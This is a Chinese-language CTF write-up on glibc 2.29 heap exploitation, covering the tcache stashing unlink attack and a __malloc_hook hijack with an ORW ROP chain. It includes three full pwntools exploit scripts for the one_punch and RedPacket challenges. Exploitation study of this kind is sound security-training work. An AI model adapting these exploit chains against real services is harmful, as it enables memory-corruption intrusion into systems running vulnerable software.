tcache attack
学习glibc2.29后替代 unsortedbin attack 的方法,还有堆上orw的方法
题目地址:BUUCTF(hitcon_ctf_2019_one_punch)
相似题目:BUUCTF([2020 新春红包题]3)
参考链接:
https://ruan777.github.io/2020/02/04/HITCON2019-Quals-One-punch-Man/
https://www.cnblogs.com/trunk/p/17227340.html
https://xz.aliyun.com/t/7192
IDA分析
主要函数:具有malloc、free、edit、show、magic函数
malloc函数:先将字符串hero name读取到栈上的char 数组,再判断长度合法(0x80~0x400)后calloc
一个堆块存放,读取索引index决定堆块地址放在什么位置
free函数:free后未清空堆块,存在uaf和double free漏洞
edit函数:可修改hero name即堆块的内容 ,结合free函数利用
show函数:可以打印堆块内容
magic函数:后门函数,在判断heap_base+0x30的值大于6后可使用malloc
进行堆块分配
malloc和calloc的区别在于:calloc不会从tcache中取出堆块
qword_4030是 堆地址 + 0x10
利用思路:
题目环境位于Ubuntu19,glibc版本为2.29
,patchelf切换libc后进行本地分析
2.29后的版本我们首先想到的应该是 tcache attack,题目存在UAF,可以修改tcache 堆块的next指针,将堆块分配到malloc_hook上,修改malloc_hook的内容。
但是本题只有magic函数才使用malloc函数分配,正常的添加堆块使用的是calloc函数,无法分配tcache的堆块。
所以想到满足magic函数的判断要求,修改heap_base+0x30
处的值大于6,然后调用magic函数进行malloc分配。
该方法即修改任意地址为大值
,首先想到 unsortedbin attack,但是由于 glibc 2.29 中新增了对于 unsorted bin 链表完整性检查,这使得 unsorted bin attack 完全失效。这种情况下就可以选择 tcache stashing unlink attack
。
满足条件后,利用magic函数分配我们伪造后的 tcahce,第二次即可分配到 fake chunk 即malloc_hook,并修改其内容。
由于题目使用 seccomp 开启了沙箱保护,只要白名单上的系统调用可以使用,因此只能采用ORW
(open、read、write)构造ROP链读取flag。分配堆块时会先将字符串的内容读取到栈
上,可以利用ROP链。先将malloc_hook劫持为add rsp xxx,ret
,将控制流返回到构造好的ROP链
上,然后执行ORW获取flag。
unsorted bin attack
glibc2.23中,malloc.c
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
只判断了size是否合法,一般情况下都会合法,形同虚设。之后unsortedbin 解链操作:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
victim :unsorted bin中最后一个堆块
bck :unsorted bin中倒数第二个堆块
当malloc分配堆块取出unsorted bin时,会在bck->fd
处写入unsorted_chunks (av)
即一个大值.只要控制victim堆块的内容,修改victim->bk为target_addr,即可在malloc后将bck->fd ==> target_addr+0x10
的值修改为大值,达到修改任意地址为大值的目的,可以用来攻击 global_max_fast ,使得更大size的chunk也被视为fastbin,从而进行fastbin attack;还有一个非常经典的利用就是house of orange。
glibc2.29中,malloc.c
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
glibc2.29中加入了对 unsortedbin 双向链表完整性的检查,使得 unsorted bin attack 完全失效
tcache stashing unlink attack
漏洞点: 从smallbin中取出chunk时会检查如果当前smallbin中还有chunk并且tcache bin中还有空余的位置
就会把剩余chunk链入到tcache bin中,在链入的过程并没有进行双向链表检查
(类似于unsortedbin attack)
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
//victim就是要脱链的堆块,也就是small bin里的最后一个
//这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))//对small bin最后一个堆块即victim的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
//如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位
bin->bk = bck;//将victim脱链
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
{
mchunkptr tc_victim;
while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
&& (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块
{
if (tc_victim != 0)
{
bck = tc_victim->bk;//在这里控制bk的值
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;//将tc_victim从small bin中脱链
bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
攻击的场景是我们请求申请一个大小为size的chunk,此时堆中有空闲的small bin(两个),根据small bin的FIFO,会对最早释放的small bin进行unlink操作,在unlink之前会有链表的完整性检查__glibc_unlikely (bck->fd != victim),在将这个堆块给用户之后,如果对应的tcache bins的数量小于最大数量,则剩余的small bin将会被放入tcache,这时候放入的话没有完整性检查,即不会检查这些small bin的fd和bk。在放入之前会有另一次unlink,这里的bck->fd = bin;产生的结果是将bin的值写到了*(bck+0x10),我们可以将bck伪造为target_addr-0x10,bin为libc相关地址,则可以向target_addr写入bin,攻击结果和unsored bin attack的结果类似
利用过程
首先需要泄露堆地址和libc地址:
堆地址:计算需要修改为大值的地址
libc地址:计算 __malloc_hook 地址,后续一系列ROP链的gadget的地址
leak heap
具体方式是分配并释放多个 chunk 使其进入 tcache ,通过 show 函数可以输出 tcache bin 的 fd 值来泄露堆地址
#leak heap
for i in range(7):
malloc(0,b'a'*0x120)
free(0)
show(0)
# db()
rcu("hero name: ")
heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
# lg("heap",heap)
heap_base = heap & 0xFFFFFFFFFFFFF000
lg("heap_base",heap_base)
# db()
leak libc
释放某个 small bin size 范围内的 chunk 七个,在第八次释放时会先把释放的堆块放入 unsorted bin 。通过 show 函数可以泄露出 libc 地址。
# leak libc
malloc(0,b'a'*0x120)
malloc(1,b'a'*0x400) # top
free(0)
# db()
show(0)
rcu("hero name: ")
unsortedbin_addr = get_addr_64()
main_arena_addr = unsortedbin_addr - 96
libc_base = main_arena_addr - 0x1e4c40
# lg("unsortedbin_addr",unsortedbin_addr)
# lg("main_arena_addr",main_arena_addr)
lg("libc_base",libc_base)
修改 heap_base+0x30 为 large value
满足相应size的 tcache bin有6个,small bin 有2个时,再次申请该size大小的chunk,会解链一个chunk1,并将剩下的一个chunk2放入tcache bin中,该过程可以伪造chunk2的bk=target_addr - 0x10
,unlink时即可修改target_addr 为large value。
如何满足相应size的 tcache bin有6个,small bin 有2个
?
这里有个大问题,就是程序申请的堆块大小范围在0x7f~0x400之间,所以在tcache没满的情况下,free后都会进入tcache,那要怎么让一个大小的堆块,比如0x100大小的堆块,相对应的tcache bin有6块,smallbin有两块,
需要用到last_remainder
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
比如我们把unsortedbin切成了0x100的大小,如果在calloc一个比这个大的chunk,那这个unsortedbin就会被放到smallbin
,相对应的源码为:
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
重复两次上述切割last_remainder然后malloc的操作,即可得到small bin有两个chunk
利用代码如下:
for i in range(6):
malloc(0,b"a"*0xf0)
free(0)
for i in range(7):
malloc(0,b"a"*0x400)
free(0)
# tcache stashing unlink attack
# tcache 0x100:6 smallbin 0x100:2
malloc(0,b"a"*0x400)
malloc(1,b"a"*0x400)# 防止相邻的两个chunk合并
malloc(1,b"a"*0x400)
malloc(2,b"a"*0x400)# top
free(0)
malloc(2,b"a"*0x300)
malloc(2,b"a"*0x300) # smallbin 0x100
# db()
# again
free(1)
malloc(2,b"a"*0x300)
malloc(2,b"a"*0x300) # smallbin 0x100 -> 0x100
# db()
第一次得到smallbin
第二次:
malloc(1,b"a"*0x400)# 防止相邻的两个chunk合并
,这行代码的作用是将第一个0x410
chunk切割后的0x100 chunk和即将free的 0x410 chunk分隔开来,防止合并为0x510的chunk。
修改chunk2的bk,触发tcache stashing unlink attack
利用UAF漏洞和堆溢出,可以通过修改chunk2(0x100)分割之前的前一部分chunk(0x310)的内容,溢出修改chunk2的fd和bk。
由于__glibc_unlikely (bck->fd != victim)
这个完整性检查,chunk2的fd必须指向chunk1
,fd的值可以通过chunk2的固定偏移 + heap_base
得到。
edit(1,b'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x561377cbb460-0x561377cb8000))+p64(heap_base+0x30-0x10-5))
写入的值main_arena的值要偏移一下,只剩0x7f>6,target_addr = heap_base+0x30-0x10-5
至此,成功满足magic函数的条件,可以调用magic函数进行malloc分配tcache的chunk
由于heap_base+0x30的值是tcahce bin中 0x220大小的chunk的数量,修改为0x7f后再次利用tcache会 corrupt 掉
,所以需要先calloc一个0x220大小的chunk并free掉,将其fd修改为__malloc_hook
,第二次分配即可获得__malloc_hook的堆块
利用代码:
# db()
edit(2,b'./flag'.ljust(8,b'\x00')) # rop_heap
edit(1,b'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x561377cbb460-0x561377cb8000))+p64(heap_base+0x30-0x10-5))
# db()
malloc(0,b"a"*0x217)
free(0)
# db()
edit(0,p64(libc_base+libc.symbols["__malloc_hook"]))
# db()
malloc(0,b"a"*0xf0) # heap+0x30 = 0x7f
# db()
寻找对应的gadget,构造ROP链
在程序创建堆块时,会先把字符串的放在栈上,因此可以在栈上构造ROP链进行攻击。
由于程序是堆的题目,我们首先需要把控制流劫持到栈上
,可以通过修改__malloc_hook
为add rsp, XXX;ret
的gadget,这样在调用malloc或者calloc时,会执行__malloc_hook
的内容,ret将控制流返回到rsp指向的地址,该地址应该为我们布置好的ROP链
。
如何判断add rsp XXX,ret
具体应该是多少呢?
将断点下在b *__malloc_hook
,观察执行__malloc_hook时,布置好的rop链到rsp的距离
,
距离为0x48,所以我们需要add rsp, 0x48 ; ret
的gadget
ROPgadget在libc.so中查找 --only "add|ret" | grep rsp | grep 0x48
构造ROP链
需要满足ORW
首先需要先将open的参数"./flag"
写入一个可读的区域,这里选择任意一个堆块,利用基址+固定偏移获取"./flag"
的地址
同时read,write函数需要一个缓冲区,这里选择heap_base+0x260
,是之前分配的一个堆块
再次利用ROPgadget获取pop xxx;ret
,用以构造rop
再找到"syscall;ret"
执行系统调用(ROPgadget没找到)
构造ROP链后,再次malloc即可触发获取flag
EXP:
from pwn import *
from LibcSearcher import *
from time import *
# context.log_level = 'debug'
file_path = "./hitcon_ctf_2019_one_punch"
local = 1
remote_path = "node4.buuoj.cn:27586"
elf = ELF("./hitcon_ctf_2019_one_punch")
libc = ELF("/home/star/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
if local != 1:
p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
p = process(file_path)
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rc = lambda num : p.recv(num)
rc_all = lambda : p.recv()
rcu = lambda data : p.recvuntil(data)
lbc = lambda str1,str2 : LibcSearcher(str1,str2)
lg = lambda name,data : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))
def db():
gdb.attach(p)
pause()
def dbs(src):
gdb.attach(p, src)
def tb(x): #将输入内容转换为python3的比特流格式
return(bytes(str(x),encoding='utf8'))
def malloc(index,hero_name):
rcu("> ")
sdl(b"1")
rcu("idx: ")
sdl(tb(index))
rcu("hero name: ")
sdl(hero_name)
def edit(index,hero_name):
rcu("> ")
sdl(b"2")
rcu("idx: ")
sdl(tb(index))
rcu("hero name: ")
sdl(hero_name)
def free(index):
rcu("> ")
sdl(b"4")
rcu("idx: ")
sdl(tb(index))
def show(index):
rcu("> ")
sdl(b"3")
rcu("idx: ")
sdl(tb(index))
def magic(payload):
rcu("> ")
sdl(b"50056")
sleep(0.1)
sdl(payload)
#leak heap
for i in range(7):
malloc(0,b'a'*0x120)
free(0)
show(0)
# db()
rcu("hero name: ")
heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
# lg("heap",heap)
heap_base = heap & 0xFFFFFFFFFFFFF000
lg("heap_base",heap_base)
# db()
# leak libc
malloc(0,b'a'*0x120)
malloc(1,b'a'*0x400) # top
free(0)
# db()
show(0)
rcu("hero name: ")
unsortedbin_addr = get_addr_64()
main_arena_addr = unsortedbin_addr - 96
libc_base = main_arena_addr - 0x1e4c40
# lg("unsortedbin_addr",unsortedbin_addr)
# lg("main_arena_addr",main_arena_addr)
lg("libc_base",libc_base)
#-------------------------------
for i in range(6):
malloc(0,b"a"*0xf0)
free(0)
for i in range(7):
malloc(0,b"a"*0x400)
free(0)
# tcache stashing unlink attack
# tcache 0x100:6 smallbin 0x100:2
malloc(0,b"a"*0x400)
malloc(1,b"a"*0x400)# 防止相邻的两个chunk合并
malloc(1,b"a"*0x400)
malloc(2,b"a"*0x400)# top
free(0)
malloc(2,b"a"*0x300)
malloc(2,b"a"*0x300) # smallbin 0x100
# db()
# again
free(1)
malloc(2,b"a"*0x300)
malloc(2,b"a"*0x300) # smallbin 0x100 -> 0x100
# db()
#-------------------------------
lg("fd",heap_base+(0x561377cbb460-0x561377cb8000))
# db()
edit(2,b'./flag'.ljust(8,b'\x00')) # rop_heap
edit(1,b'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x561377cbb460-0x561377cb8000))+p64(heap_base+0x30-0x10-5))
# db()
malloc(0,b"a"*0x217)
free(0)
# db()
edit(0,p64(libc_base+libc.symbols["__malloc_hook"]))
# db()
malloc(0,b"a"*0xf0) # heap+0x30 = 0x7f
# db()
magic(b"a")
#mov eax, esi ; add rsp, 0x48 ; ret
#magic_gadget = libc_base + libc.sym['setcontext']+53
# add rsp, 0x48 ; ret
magic_gadget = libc_base+0x000000000008cfd6
payload = p64(magic_gadget)
magic(payload) # __malloc_hook --> gadget(add rsp,0x48)
p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
rop_heap = heap_base + 0x44b0 # './flag'
# bad syscall
# rops = p64(p_rdi)+p64(rop_heap) + p64(p_rsi)+p64(0)
# rops += p64(libc.sym['open']+libc_base)
# rops += p64(p_rdi)+p64(3)+p64(p_rsi)+p64(heap_base+0x260)+p64(p_rdx)+p64(0x70)
# rops += p64(libc.sym['read']+libc_base)
# rops += p64(p_rdi)+p64(1)+p64(p_rsi)+p64(heap_base+0x260)+p64(p_rdx)+p64(0x70)
# rops += p64(libc.sym['write']+libc_base)
rops = p64(p_rdi)+p64(rop_heap)
rops += p64(p_rsi)+p64(0)
rops += p64(p_rdx)+p64(0)
rops += p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(1)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(1)
rops += p64(syscall)
# dbs("b *__malloc_hook")
malloc(0,rops)
it()
另外一道相似的题目:
BUUCTF([[2020 新春红包题]3]
后门函数:
唯一的不同是本题需要通过栈迁移
劫持控制流到一个堆块上(存放伪造的ROP链
)
需要注意堆地址heap_base到底是如何计算的不是简单的&,gdb调试通过parseheap查看第一个堆块的地址即为堆地址。
EXP:
from pwn import *
from LibcSearcher import *
from time import *
# context.log_level = 'debug'
file_path = "./RedPacket_SoEasyPwn1"
local = 0
remote_path = "node4.buuoj.cn:28633"
elf = ELF("./RedPacket_SoEasyPwn1")
libc = ELF("/home/star/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
if local != 1:
p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
p = process(file_path)
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rc = lambda num : p.recv(num)
rc_all = lambda : p.recv()
rcu = lambda data : p.recvuntil(data)
lbc = lambda str1,str2 : LibcSearcher(str1,str2)
lg = lambda name,data : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))
def db():
gdb.attach(p)
pause()
def dbs(src):
gdb.attach(p, src)
def tb(x): #将输入内容转换为python3的比特流格式
return(bytes(str(x),encoding='utf8'))
###----------------------------------------###
def malloc(index,size,content):
rcu(b"Your input: ")
sdl(b"1")
rcu(b"Please input the red packet idx: ")
sdl(tb(index))
rcu(b"How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
sdl(tb(size))
rcu(b"Please input content: ")
sdl(content)
rcu("Done!")
def free(index):
rcu(b"Your input: ")
sdl(b"2")
rcu(b"Please input the red packet idx: ")
sdl(tb(index))
rcu("Done!")
def edit(index,content):
rcu(b"Your input: ")
sdl(b"3")
rcu(b"Please input the red packet idx: ")
sdl(tb(index))
rcu(b"Please input content: ")
sdl(content)
rcu("Done!")
def show(index):
rcu(b"Your input: ")
sdl(b"4")
rcu(b"Please input the red packet idx: ")
sdl(tb(index))
#rcu("Done!")
def magic(payload):
rcu(b"Your input: ")
sdl(b"666")
rcu(b"What do you want to say?")
sdl(payload)
# leak heap
for i in range(7):
malloc(0,4,b"a"*(0x400-1))
free(0)
# db()
show(0)
heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
heap_base = heap - 0x26c0
lg("heap",heap)
lg("heap_base",heap_base)
# db()
target = heap_base + 0x250 + 0x10
lg("target",target)
# leak libc
malloc(1,4,b"a"*(0x400-1))
malloc(2,4,b"a"*(0x400-1))# top
free(1)
show(1)
unsortedbin_addr = get_addr_64()
main_arena_addr = unsortedbin_addr - 96
libc_base = main_arena_addr - 0x1e4c40
# lg("unsortedbin_addr",unsortedbin_addr)
# lg("main_arena_addr",main_arena_addr)
lg("libc_base",libc_base)
malloc(2,4,b"a"*(0x400-1))
# db()
for i in range(6):
malloc(i,2,b"a"*(0xf0-1))
free(i)
# db()
malloc(9,4,b"b"*(0x400-1)) # chunk1
malloc(10,4,b"a"*(0x400-1)) # 分隔
# db()
malloc(11,4,b"b"*(0x400-1)) # chunk2
free(9)
# # db()
malloc(12,3,b"a"*(0x300-1))
malloc(13,3,b"a"*(0x300-1)) # smallbin: bin1 -> 0
# db()
free(11)
# db()
malloc(14,3,b"a"*(0x300-1))
malloc(15,3,b"a"*(0x300-1)) # smallbin: bin2 -> bin1 -> 0
# db()
fd = heap_base + (0x562191029000 - 0x562191025000)
lg("fd",fd)
edit(11,b"a"*0x300 + p64(0) + p64(101) + p64(fd) + p64(target+0x800 - 0x10 ))
# db()
malloc(0,2,b"a"*(0xf0-1))
# db()
p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
leave_ret = libc_base + 0x0000000000058373
orw_heap= heap_base + 0x55740b77df40 - 0x55740b779000 + 0x10
lg("orw_heap",orw_heap)
orw = b'./flag'.ljust(8,b'\x00')
orw += (p64(p_rdi) + p64(orw_heap) + p64(p_rsi) + p64(0))
orw += p64(libc_base+libc.symbols["open"])
orw += (p64(p_rdi) + p64(3) + p64(p_rsi) + p64(heap_base+0x260) + p64(p_rdx) + p64(0x50))
orw += p64(libc_base+libc.symbols["read"])
orw += (p64(p_rdi) + p64(1) + p64(p_rsi) + p64(heap_base+0x260) + p64(p_rdx) + p64(0x50))
orw += p64(libc_base+libc.symbols["write"])
malloc(0,4,orw)
# db()
payload = b"a"*(0x80) +p64(orw_heap) + p64(leave_ret)
magic(payload)
it()
hitcon_ctf_2019_one_punch 可以通过large bin attack 来打 ,过程比较复杂
贴一下EXP:有空再写分析
from pwn import *
from LibcSearcher import *
from time import *
context.log_level = 'debug'
file_path = "./hitcon_ctf_2019_one_punch"
local = 1
remote_path = "node4.buuoj.cn:27586"
elf = ELF("./hitcon_ctf_2019_one_punch")
libc = ELF("/home/star/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
if local != 1:
p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
p = process(file_path)
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rc = lambda num : p.recv(num)
rc_all = lambda : p.recv()
rcu = lambda data : p.recvuntil(data)
lbc = lambda str1,str2 : LibcSearcher(str1,str2)
lg = lambda name,data : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))
def db():
gdb.attach(p)
pause()
def dbs(src):
gdb.attach(p, src)
def tb(x): #将输入内容转换为python3的比特流格式
return(bytes(str(x),encoding='utf8'))
def malloc(index,hero_name):
rcu("> ")
sdl(b"1")
rcu("idx: ")
sdl(tb(index))
rcu("hero name: ")
sdl(hero_name)
def edit(index,hero_name):
rcu("> ")
sdl(b"2")
rcu("idx: ")
sdl(tb(index))
rcu("hero name: ")
sdl(hero_name)
def free(index):
rcu("> ")
sdl(b"4")
rcu("idx: ")
sdl(tb(index))
def show(index):
rcu("> ")
sdl(b"3")
rcu("idx: ")
sdl(tb(index))
def magic(payload):
rcu("> ")
sdl(b"50056")
sleep(0.1)
sdl(payload)
#----------------------largebin attack----------------------#
malloc(0,b"a"*0x210)
free(0)
malloc(1,b"a"*0x210)
free(1)
show(1)
heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
lg("heap",heap)
heap_base = heap & 0xFFFFFFFFFFFFF000
lg("heap_base",heap_base)
# db()
for i in range(5):
malloc(2,b'a'*0x210)
free(2)
malloc(0,b"a"*0x210)
malloc(1,b"a"*0x210)
free(0)
show(0)
unsortedbin_addr = get_addr_64()
main_arena_addr = unsortedbin_addr - 96
libc_base = main_arena_addr - 0x1e4c40
# lg("unsortedbin_addr",unsortedbin_addr)
# lg("main_arena_addr",main_arena_addr)
lg("libc_base",libc_base)
# db()
free(1)
# db()
edit(2,p64(libc_base+libc.symbols["__malloc_hook"]))# 修改0x220的next为__malloc_hook
# db()
malloc(0,b"d"*0x90)
free(0)
for i in range(7):
malloc(0,b'd'*0x80)
free(0)
for i in range(7):
malloc(0,b'd'*0x200)
free(0)
# db()
malloc(0,b'd'*0x200)
malloc(1,b'a'*0x210)
#b'a'*0x90
malloc(2,p64(0x21)*(0x90//8))# 凑成 0x210-0x90+0x220+0xa0 = 0x440
db()
edit(2,p64(0x21)*(0x90//8))# 绕过?
# db()
free(2)
# db()
malloc(2,p64(0x21)*(0x90//8))# top
edit(2,p64(0x21)*(0x90//8))
free(2)
# db()
free(0)
free(1)
# db()
malloc(0,b'a'*0x80)
malloc(1,b'a'*0x80)
# db()
free(0)
free(1)
# unsortedbin中 合并为0x430 size的chunk
# db()
malloc(0,b"a"*0x88 + p64(0x421) + b"d"*0x180)# size = 0x220
# db()
malloc(2,b"a"*0x200)# 0x210
# db()
free(1) # fake chunk 0x421 进入 unsortedbin
# db()
free(2) # chunk 0x210 进入 unsortedbin
# unsortedbin: 0x210 --> 0x421
# db()
malloc(2,b"a"*0x200) # fake chunk 0x421 进入 largebin
# db()
edit(0,b"a"*0x88 + p64(0x421) + p64(main_arena_addr+1104)*2 + p64(0) + p64(heap_base+0x10))
# db()
free(0)
# db()
free(2)# chunk 0,2 合并 = 0x431
# db()
malloc(0,b"./flag\x00\x00" + b"a"*0x1f8)# size=0x210,largebin attack
# db()
magic(b"A")
# add rsp, 0x48 ; ret
magic_gadget = libc_base+0x000000000008cfd6
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
magic(p64(magic_gadget))
malloc(0,p64(pop_rdi) + p64(heap_base + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
)
it()